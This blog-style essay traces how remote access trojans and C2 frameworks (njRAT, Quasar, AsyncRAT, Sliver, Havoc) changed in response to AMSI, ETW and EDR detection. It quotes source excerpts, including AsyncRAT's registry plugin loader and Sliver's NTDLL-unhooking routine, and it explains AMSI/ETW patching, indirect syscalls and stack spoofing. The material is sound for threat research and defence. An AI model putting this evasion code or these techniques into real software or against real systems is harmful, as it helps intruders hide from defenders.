Progression of Remote Access Malware
A RAT is a program you run. A C2 framework is infrastructure you operate. The gap between them is fifteen years of EDR vendors learning how to catch .NET assemblies, and malware authors learning that the runtime is the detection vector.
I used to think RATs were the coolest thing back in middle school, but now that i actually have some experience working with a few C2 frameworks, RATs feel like toys, but it still tells an interesting story of how Attackers create workarounds to an ever-growing defensive landscape.
Part I: The Timeline Nobody Asked For
Every remote access tool does three things. Receive instructions. Execute them. Return results. That is the spec. Persistence, encryption, and evasion are not features. They are workarounds for problems the defensive industry created.
Here is when each problem was created.
-
2012. Signature AV. Nobody is looking at what a process does, just what files it came from. AMSI does not exist yet. ETW exists but security products barely use it. A .NET RAT can load assemblies, call P/Invoke, allocate memory, and the only way to catch it is a file hash match. This is why njRAT works at all. Working against nothing is easy.
-
2015. AMSI ships with Windows 10. Every .NET assembly is now scanned in memory before the JIT touches it. The signature detection that used to only work on disk now works in memory too. This is not a small change. It kills the "encrypt the binary, decrypt at runtime" strategy because AMSI gets the bytes after decryption, before execution.
-
2017. EDR vendors discover ETW. Microsoft-Windows-DotNETRuntime starts feeding assembly load events, method JIT events, module load events to anyone listening. A .NET implant cannot load without producing a reliable event stream. The runtime is now a surveillance platform.
-
2020. Memory scanning. EDRs walk heaps looking for RWX pages outside of loaded modules. Any allocation with PAGE_EXECUTE_READWRITE that does not correspond to a known DLL is suspicious. This catches shellcode loaders and reflective DLL injectors.
-
2022. Call stack tracing. EDRs capture the return address chain on every syscall. If the return address on NtAllocateVirtualMemory, NtCreateThreadEx, or NtWriteVirtualMemory does not point into a known module at a known code offset, the call is flagged. This specifically targets process injection.
-
2026. All of the above in every EDR. None of it is optional.
Every one of these killed a framework that could not adapt. In order.
Part II: The RAT Era
2.1 njRAT (2012)
njRAT is a VB.NET remote access trojan. It uses raw TCP on port 5552 with no encryption. C2 is delivered over FTP. The builder lets you set the host, the port, the registry key name, and the mutex. That is the entire configuration surface.
It still works in 2026. Not because it is good. Because nobody is monitoring the target.
njRAT is the baseline. Everything else in this section is trying to solve a problem that njRAT did not know existed.
2.2 Quasar (2014)
Quasar is a C# .NET open-source RAT released by MaxXor in 2014. For years it was the most-starred RAT on GitHub. It is the first RAT that looks like someone who knows what they are doing wrote it.
Three assemblies. Quasar.Common (shared types, cryptography, serialization). Quasar.Client (the implant). Quasar.Server (the C2 controller). The server is a WinForms app with 72 form files.
2.2.1 Encryption
// Quasar/Quasar.Common/Cryptography/Aes256.cs
private static readonly byte[] Salt =
{
0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24,
0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, 0x44, 0xD2, 0x1E, 0x62, 0xB9,
0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
};
Rfc2898DeriveBytes(masterKey, Salt, 50000);
// 32 bytes AES key, 64 bytes HMAC key
// Format: HMAC-SHA256(32) || IV(16) || Ciphertext
// Mode: AES-256-CBC, PKCS7 padding
Encrypt-then-MAC. You verify the HMAC before you decrypt, so padding oracle attacks do not work. The HMAC comparison uses a timing-safe loop with [MethodImpl(NoInlining | NoOptimization)]. Whoever wrote this knew what they were doing.
2.2.2 TLS
handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
handle.Connect(ip, port);
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false);
TLS 1.2 with certificate pinning. The client compares the server certificate to the one embedded at build time. The builder uses Mono.Cecil to walk the IL instructions of the Settings class's static constructor and replace each ldstr operand with an AES-encrypted value keyed to the server certificate's thumbprint. It is position-dependent. The first ldstr is always the version, the second is always the host, and so on. Fragile but functional.
2.2.3 Features
- Remote shell via cmd.exe with redirected stdin/stdout
- Screen capture with a custom codec that does block-level diffing and JPEG compression
- Keylogger using MouseKeyHook (same library AsyncRAT uses later)
- Password recovery targeting Chrome, Firefox, Opera, Edge, Yandex, Brave, IE, FileZilla, WinSCP
- File manager with chunked transfers and concurrency limiting
- Registry editor with create, delete, rename
- SOCKS reverse proxy tunneled through the C2 channel
Zero anti-analysis, zero sandbox detection, zero memory protection. Not negligence. Correct for 2014. AMSI did not exist. ETW was not collecting assembly events. A TLS-encrypted .NET RAT was about as good as you could get.
2.3 AsyncRAT (2019)
NYAN-x-CAT released AsyncRAT in 2019 as a C# .NET RAT. Same three-assembly pattern as Quasar, but the defining difference is the plugin system. Features are not compiled into the core. The server sends a command with a DLL hash, and the client loads the plugin from the Windows registry at runtime.
// Client/Handle Packet/Packet.cs
public static void Read(object data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "plugin":
{
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null)
{
Packs.Add(unpack_msgpack);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString);
ClientSocket.Send(msgPack.Encode2Bytes());
}
else
Invoke(unpack_msgpack);
break;
}
case "savePlugin":
{
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
foreach (MsgPack msgPack in Packs.ToList())
{
if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString)
{
Invoke(msgPack);
Packs.Remove(msgPack);
}
}
break;
}
}
}
private static void Invoke(MsgPack unpack_msgpack)
{
Assembly assembly = AppDomain.CurrentDomain.Load(
Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)));
Type type = assembly.GetType("Plugin.Plugin");
dynamic instance = Activator.CreateInstance(type);
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate,
Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(),
MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
Received();
}
The encryption and TLS are copied from Quasar unchanged: same Aes256.cs salt, same PBKDF2 iterations, same AES-CBC-HMAC layout.
// Client/Algorithm/Aes256.cs (lines 20-24)
private static readonly byte[] Salt =
{
0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B,
0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43,
0x0, 0x3D, 0x56, 0x44, 0xD2, 0x1E, 0x62, 0xB9,
0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
};
What changed:
- Protobuf-net to custom MsgPack
- Mono.Cecil to dnlib with placeholder-based patching
- Static features to plugin DLLs
- No evasion to VM checks plus a BDOS that registers the process as system-critical (crash = kernel bugcheck).
The ceiling is the same as any .NET RAT. Assembly.Load triggers AMSI and ETW. The managed heap is visible to memory scanners. AES keys sit in memory as managed strings. AsyncRAT proved you can bolt on evasion, but you cannot stop the CLR from reporting what you loaded.
Part III: The C2 Era
By 2020, EDR products universally consumed CLR telemetry. The events:
Loader/AssemblyLoad: fires for every assembly load. Includes the assembly name, version, path.Method/LoadVerbose: fires when the JIT compiles a method. Includes the method name and declaring type.Module/Load: fires for every module load.- These are enabled by default in Windows 10+ in many configurations.
A .NET implant cannot load an assembly without generating an ETW event. It cannot call P/Invoke without generating a transition event. The runtime itself is wired for surveillance.
Two frameworks solved this. Both removed the managed runtime. Both adopted the three-tier architecture that Cobalt Strike had been using since 2012. Both made different tradeoffs.
3.1 Sliver (2021)
Sliver is an open-source C2 framework written in Go by Bishop Fox, released in 2021. It is the first major open-source C2 framework that breaks entirely from the .NET lineage: a Go static binary, no CLR, no AMSI surface, no assembly load events reaching ETW.
3.1.1 Architecture
Three-tier: gRPC client, Go server daemon, Go implant. Client certificates signed by an internal CA for multi-operator authentication. Server listens on gRPC over mTLS.
Implant-server communication uses protobuf envelopes wrapped in the transport protocol. Each envelope is signed with Ed25519 (Minisign) independently of transport encryption. If transport is broken, the messages are still authenticated.
3.1.2 Transport Protocols
-
mTLS. TCP with TLS 1.3, mutual certificate auth. Yamux multiplexing lets multiple logical streams share one TCP connection. The
MUX/1preamble is visible at the start. -
WireGuard. User-space TUN interface using netstack. VPN-level access to the target network. The operator can forward ports through the tunnel. No other major C2 framework does this natively.
-
HTTP/HTTPS. Long-polling, not WebSockets. Procedurally generated URLs, filenames, query parameters per request based on a profile. ACME for automatic Let's Encrypt certs.
-
DNS. Base58 encoding with automatic fallback to Base32 if the resolver corrupts case. Fragmented out-of-order support. ~30 Kbps. Works where everything else is blocked.
-
Named Pipes. SMB-style communication for lateral movement. Supports pivot chains where parent implants relay for child implants.
Connection strategy is configurable: sequential (try mTLS, then WG, then HTTP, then DNS), random (pick any), or random domain (random domain, keep protocol order).
3.1.3 Session vs Beacon
Session: persistent connection, real-time interaction, higher footprint.
Beacon: polling with configurable interval + jitter, larger latency, lower footprint. The beacon loop at implant/sliver/transports/beacon.go iterates C2 protocols with timing:
// implant/sliver/transports/beacon.go (lines 125-190)
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
c2Generator := C2Generator(innerAbort)
go func() {
for uri := range c2Generator {
switch uri.Scheme {
case "mtls":
beacon = mtlsBeacon(uri)
case "wg":
beacon = wgBeacon(uri)
case "https":
fallthrough
case "http":
beacon = httpBeacon(uri)
case "dns":
beacon = dnsBeacon(uri)
}
nextBeacon <- beacon
}
}()
return nextBeacon
}// implant/sliver/transports/beacon.go (lines 109-122)
func (b *Beacon) Duration() time.Duration {
jitter := time.Duration(0)
if 0 < b.Jitter() {
jitter = time.Duration(util.Int63n(b.Jitter()))
}
return time.Duration(b.Interval()) + jitter
}3.1.4 Evasion
Not a runtime toggle. Compile-time. Changes the binary structure. The NTDLL unhooking at implant/sliver/evasion/evasion_windows.go loads a clean copy from disk and overwrites the in-memory .text section byte by byte:
// implant/sliver/evasion/evasion_windows.go (lines 33-48)
func RefreshPE(name string) error {
f, _ := pe.Open(name)
x := f.Section(".text")
ddf, _ := x.Data()
return writeGoodBytes(ddf, name, x.VirtualAddress, x.VirtualSize)
}// implant/sliver/evasion/evasion_windows.go (lines 50-87)
func writeGoodBytes(b []byte, pn string, voff uint32, vsize uint32) error {
t, _ := windows.LoadDLL(pn)
dllBase := uintptr(t.Handle)
dllOffset := uint(dllBase) + uint(voff)
windows.VirtualProtect(uintptr(dllOffset), uintptr(vsize),
windows.PAGE_EXECUTE_READWRITE, &old)
for i := 0; i < int(vsize); i++ {
loc := uintptr(dllOffset + uint(i))
mem := (*[1]byte)(unsafe.Pointer(loc))
(*mem)[0] = b[i]
}
windows.VirtualProtect(uintptr(dllOffset), uintptr(vsize), old, &old)
return nil
}
Also included: AMSI patching (AmsiScanBuffer always returns AMSI_RESULT_CLEAN), ETW patching (EtwEventWrite is neutered), and GARBLE for Go symbol stripping. These are not runtime checks. They are modifications to the process execution environment that happen before any implant code runs.
Go calls ntdll through the standard user-mode path, so EDR hooks intercept every Nt* call. The Go runtime creates distinguishable thread patterns from goroutine scheduling and garbage collection. Sleep masking is absent — during idle periods the heap is fully accessible to memory scanners.
Sliver solves AMSI/ETW completely. Solves user-mode hooking partially (NTDLL unhooking covers the primary mechanism). Does not solve memory scanning or call stack tracing.
3.2 Havoc (2022)
Havoc is a post-exploitation C2 framework released by C5pider in 2022. It uses a Go teamserver with a C and assembly implant called Demon. No managed runtime at all: not Go, not CLR, nothing. The implant is a native Windows executable compiled with MinGW and NASM.
3.2.1 Architecture
Qt C++ client, Go teamserver, C/ASM Demon. Client connects to teamserver over WSS with SHA3-256 authentication.
Teamserver handles HTTP/HTTPS and SMB listeners, compiles Demon payloads via MinGW+NASM, tracks agents in SQLite, broadcasts events to all clients. On startup it rebuilds listeners and agents from the database.
Demon source structure.
Havoc/payloads/Demon/src/
├── asm/
│ ├── Spoof.x64.asm # return address spoofing
│ ├── Spoof.x86.asm
│ ├── Syscall.x64.asm # indirect syscall stubs
│ └── Syscall.x86.asm
├── core/
│ ├── CoffeeLdr.c # BOF/COFF loader
│ ├── Command.c # command dispatcher
│ ├── Dotnet.c # .NET CLR hosting (for execute-assembly)
│ ├── Jobs.c # task management
│ ├── Memory.c # indirect syscall memory allocation
│ ├── Obf.c # sleep masking
│ ├── Spoof.c # return address orchestration
│ ├── Syscalls.c # syscall dispatch table
│ ├── TransportHttp.c
│ ├── TransportSmb.c
│ ├── Win32.c # PEB walking, API hashing
│ └── ... (26 files total)
├── crypt/
│ └── AesCrypt.c
├── inject/
│ └── Inject.c
└── main/
├── MainExe.c
├── MainDll.c
└── MainSvc.c
The directory structure tells you the priorities. asm/ and core/Spoof.c are not optional modules. They are the foundation.
Havoc also uses Indirect Syscalls as its default injection method, since it's an evasion-focused C2 framework, this is what makes Havoc desirable as a stealthier option for Modern C2 framework.
EDRs hook the exported Nt* functions in ntdll.dll. When you call VirtualAlloc, the EDR intercepts NtAllocateVirtualMemory, captures the call stack, and decides if this is malicious.
Havoc fixes this problem by skipping the entirety of the kernel32.dll and ntdll.dll calls and went straight to the syscall instruction by finding the SSN of each ntdll.dll function
Normal Flow: Application -> kernel32.dll -> ntdll.dll -> syscall -> ntoskrnlHavoc's Flow: Application -> syscall -> ntoskrnl
The Demon resolves the syscall number at runtime (reads it from the ntdll export bytes), stores it, then calls a custom assembly stub that: Sets the return address on the stack to point to legitimate ntdll code Executes the syscall instruction
When the EDR captures the call stack, it sees the return address pointing inside ntdll.dll. The call stack shows ntdll calling the kernel. That is exactly what normal execution looks like. The EDR has no evidence that the caller was not ntdll.
3.2.2 Sleep Masking
core/Obf.c. AES-encrypts all executable sections (.text, .rdata, .data), clears stack frames, and rewrites the syscall return address before sleeping. On wake it decrypts, checks for tasks, executes, and re-encrypts. Disabled when BOF worker threads are active.
3.2.3 BOF Execution + YAOTL
core/CoffeeLdr.c. BOFs run through the same indirect syscall path — VirtualAlloc originates from ntdll.dll, not a loaded module. This is the difference from Sliver: Sliver's COFF loader calls through the Go runtime and hits hooked exports; Havoc's does not.
YAOTL profiles (HCL-based) control HTTP headers, sleep intervals, mask technique, and syscall method at compile time. Values are embedded as immediates and cannot be dumped from a running process.
3.2.4 External C2
The teamserver exposes a WebSocket endpoint for custom transports — DNS, cloud queues, CDN edge functions, whatever. The operator controls the transport. The teamserver controls the protocol.
3.2.5 What Havoc Costs
Windows-only. Slower dev velocity (C/ASM vs Go). No WireGuard, no DNS C2, no package ecosystem. Havoc optimizes for evasion depth. Sliver optimizes for reach. Both are correct.
Part IV: The Axes
Every framework sits on five axes. The progression across them is the entire story.
| Axis | njRAT | Quasar | AsyncRAT | Sliver | Havoc |
|---|---|---|---|---|---|
| Runtime | CLR (VB.NET) | CLR (C#) | CLR (C#) | Go runtime | C/ASM (none) |
| Transport | TCP plaintext | TCP + TLS 1.2 | TCP + TLS 1.2 | mTLS/WG/HTTP/DNS/NP | HTTP/S + ExtC2 |
| Extensibility | None | None | Plugin DLLs (Assembly.Load) | BOFs via COFF + Armory | BOFs via indirect syscall |
| Evasion starting point | Not considered | Not considered | Bolt-on checks | NTDLL unhook, AMSI/ETW patch, GARBLE | Indirect syscalls, sleep mask, stack spoof |
| Operator model | Single (FTP panel) | Single (WinForms) | Single (WinForms) | Multi (gRPC + mTLS) | Multi (WSS + SHA3-256) |
Runtime goes from CLR to Go to C/ASM. The CLR emits events you cannot disable: assembly load, method JIT, P/Invoke dispatch. A managed implant cannot stop them. Go eliminates CLR events but leaves its own signature: scheduler threads, GC patterns, allocator behavior. C/ASM removes the runtime entirely. The only events are thread creation, module load, and syscall dispatch. The implant looks like a normal native process.
Transport goes from one protocol to five to any protocol. njRAT sends plaintext over TCP 5552. Quasar and AsyncRAT wrap TCP in TLS 1.2. Sliver chains mTLS, WireGuard, HTTP, HTTPS, DNS, and named pipes with automatic fallback. Havoc's External C2 lets you write your own transport through a WebSocket endpoint. Single-protocol implants die when that port gets blocked. DNS keeps working because it runs over UDP.
Extensibility goes from everything in the binary to loading only what you need. Quasar compiles every capability in at build time. AsyncRAT pulls plugin DLLs from the Windows registry with Assembly.Load. Sliver and Havoc both use COFF loaders for BOFs. The difference: Sliver's COFF loader goes through the Go runtime and hits hooked ntdll exports. Havoc's goes through indirect syscalls and never touches user-mode hooks at all.
Evasion goes from not considered to architecture default. njRAT and Quasar do zero evasion. AsyncRAT bolts on disk checks, debugger checks, VM checks, and Sandboxie detection. All application-level, all easy to bypass. Sliver does it at compile time: overwrites the NTDLL .text section with clean bytes, patches AMSI and ETW, and embeds GARBLE obfuscation. Havoc does it at the syscall level: indirect syscalls, sleep masking, return address spoofing. There is no evasion feature you can toggle off. Evasion is the design.
Operator model goes from single-user tool to multi-user infrastructure. njRAT runs through an FTP panel. Quasar and AsyncRAT ship as WinForms apps: one operator, one machine. Sliver runs as a gRPC daemon with mTLS client authentication. Havoc runs as a Go teamserver with WebSocket transport and SHA3-256 tokens. A RAT is a program you download. A C2 framework is a server you deploy.
4.1 The Cobalt Strike Asymmetry
Cobalt Strike shipped in 2012 with a teamserver architecture and a native C implant (Beacon arrived within the first year). Malleable C2 profiles followed in 2014. By the time the open-source RAT scene was writing WinForms servers, Cobalt Strike was already designing around problems they had not encountered. Sliver and Havoc are the open-source scene making the same architectural decisions a decade late. The code is public, the tradeoffs are different, and that is the only reason this comparison exists.
Part V: The Only Thing That Matters
Strip away the detail and one fact holds the whole thing together. The CLR emits events you cannot disable. Everything else follows from that.
Quasar proved .NET RATs could be professionally built. AsyncRAT proved bolt-on evasion cannot save a managed implant. Sliver proved removing the runtime solves AMSI and ETW but introduces new detectable patterns. Havoc proved that native code with indirect syscalls produces the smallest detectable surface.
Every framework in this post is a response to the axis that was most dangerous when it was written. The frameworks that survived are the ones that identified which axis mattered and built around it.
Cobalt Strike started with a head start in 2012 and never had to catch up. The open-source scene took a decade to reach the same architectural conclusions.
The RAT era produced functional malware. The C2 era produces survivable malware. The difference is not features or code quality. It is whether the architecture assumes someone is watching.
References
- https://github.com/quasar/QuasarRAT
- https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp
- https://github.com/BishopFox/sliver
- https://github.com/HavocFramework/Havoc
- https://www.cobaltstrike.com/blog/a-history-of-cobalt-strike-in-training-courses
- https://www.cobaltstrike.com/product/features/malleable-c2
- https://learn.microsoft.com/en-us/dotnet/framework/performance/etw-events